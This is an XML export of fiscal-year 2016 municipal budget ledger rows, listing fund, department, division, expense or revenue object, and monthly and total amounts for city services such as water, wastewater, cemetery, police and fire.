<row _id="18791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1090278</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1090278</total></row>
<row _id="18792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>74843</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>74843</total></row>
<row _id="18793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>864.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>315000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>315000</total></row>
<row _id="18794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>400940.0</object><object_description>CDBG CURRENT ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-1010493</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1010493</total></row>
<row _id="18795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401500.0</object><object_description>GARB/REFUSE COLLECTION FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-24715000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24715000</total></row>
<row _id="18796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401520.0</object><object_description>SPECIAL PICK-UPS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5000</total></row>
<row _id="18797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402410.0</object><object_description>SELF-INSURANCE BUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2500000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2500000</total></row>
<row _id="18798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>404970.0</object><object_description>OFFSITE IMPROVEMENTS REIMBURSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-36200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-36200</total></row>
<row _id="18799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28179</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28179</total></row>
<row _id="18800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566630.0</object><object_description>STORM DRAIN MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>181713</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>181713</total></row>
<row _id="18801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4468</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4468</total></row>
<row _id="18802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>311</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>311</total></row>
<row _id="18803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5740</total></row>
<row _id="18804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>65000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>65000</total></row>
<row _id="18805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>38515</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38515</total></row>
<row _id="18806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20392</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20392</total></row>
<row _id="18807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>519</total></row>
<row _id="18808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511710.0</object><object_description>MEDICARE EMPLOYER CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>258</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>258</total></row>
<row _id="18809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12460</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12460</total></row>
<row _id="18810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15844</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15844</total></row>
<row _id="18811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>415344</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>415344</total></row>
<row _id="18812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>54546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>54546</total></row>
<row _id="18813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>666368</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>666368</total></row>
<row _id="18814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40900</total></row>
<row _id="18815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>325</total></row>
<row _id="18817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4153</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4153</total></row>
<row _id="18818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>475926</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>475926</total></row>
<row _id="18819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>77877</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>77877</total></row>
<row _id="18820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25575</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25575</total></row>
<row _id="18821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>194727</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>194727</total></row>
<row _id="18822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>510000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>510000</total></row>
<row _id="18823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16230</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16230</total></row>
<row _id="18824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5251</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5251</total></row>
<row _id="18825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>569230.0</object><object_description>INTEREST ON SMURRF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56367</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56367</total></row>
<row _id="18826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT-WISE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-600000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-600000</total></row>
<row _id="18827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1769</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1769</total></row>
<row _id="18829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="18830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5110</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5110</total></row>
<row _id="18831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>46833</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>46833</total></row>
<row _id="18832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566970.0</object><object_description>FINGERPRINTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>63240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>63240</total></row>
<row _id="18834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407080.0</object><object_description>30 DAY IMPOUND FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-107970</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-107970</total></row>
<row _id="18835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="18836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>250000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>250000</total></row>
<row _id="18837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402310.0</object><object_description>WATER - COMMERCIAL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-21423200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21423200</total></row>
<row _id="18838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402360.0</object><object_description>WATER - METER SRVC / INSTALL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-316806</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-316806</total></row>
<row _id="18839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400670.0</object><object_description>FIRE PERMITS / FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-752031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-752031</total></row>
<row _id="18840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404810.0</object><object_description>REFUSE BINS - STORAGE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-71250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-71250</total></row>
